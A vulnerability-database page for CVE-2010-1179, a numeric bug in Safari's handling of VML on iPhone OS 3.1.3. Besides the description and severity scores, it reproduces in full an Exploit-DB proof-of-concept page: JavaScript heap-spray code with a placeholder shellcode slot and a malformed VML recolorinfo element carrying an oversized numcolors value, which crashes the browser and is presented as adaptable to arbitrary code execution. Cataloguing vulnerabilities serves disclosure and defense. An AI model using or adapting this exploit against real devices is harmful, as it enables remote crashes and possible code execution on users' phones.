CVE-2010-1179 : Detail

CVE-2010-1179

1.68%V3
Network
2010-03-29
17h00 +00:00
2010-06-17
07h00 +00:00
CVE.org
NVD
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CVE Descriptions

Safari on Apple iPhone OS 3.1.3 for iPod touch allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via a large integer in the numcolors attribute of a recolorinfo element in a VML file, possibly a related issue to CVE-2007-0024.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 11890

Publication date : 2010-03-25 23h00 +00:00
Author : Nishant Das Patnaik
EDB Verified : Yes

# Exploit Title: Bad "VML" Remote DoS on Safari for iPhone & iPod Touch # Date: 26/03/2010 # Author: Nishant Das Patnaik # For more of Nishant's research, please visit: # http://nishantdaspatnaik.yolasite.com/research.php # Tested on: iPod Touch 3G (iPhone OS 3.1.3) # Description: An attacker may direct the user to visit a specially crafted webpage that can lead the Safari browser on iPhone & iPod Touch running iPhone OS 3.1.3 to freeze and finally crash. The attacker can modify to the PoC to run arbitrary code on the device. # Code: ---------PoC STARTS HERE---------------- <html xmlns:v="urn:schemas-microsoft-com:vml"> <title>Bad "VML" Remote DoS on Safari for iPhone & iPod Touch</title> <head> <object id="VMLRender" classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E"> </object> <style> v\:* { behavior: url(#VMLRender); } </style> </head> <body> <SCRIPT language="javascript"> shellcode = unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000"); bigblock = unescape("%u0000%u0000"); headersize = 20; slackspace = headersize+shellcode.length; while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (i=0;i<350;i++) memory[i] = block + shellcode; </script> <v:rect style='width:120pt;height:80pt' fillcolor="red" > <v:recolorinfo recolorstate="t" numcolors="97612895"> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285" lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)" fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/> <v/recolorinfo> </html> ---------POC ENDS HERE----------------

Products Mentioned

Configuraton 0

Apple>>Safari >> Version *

Apple>>Iphone_os >> Version 3.1.3

Apple>>Iphone_os >> Version 3.1.3

References

http://www.exploit-db.com/exploits/11890
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/38990
Tags : vdb-entry, x_refsource_BID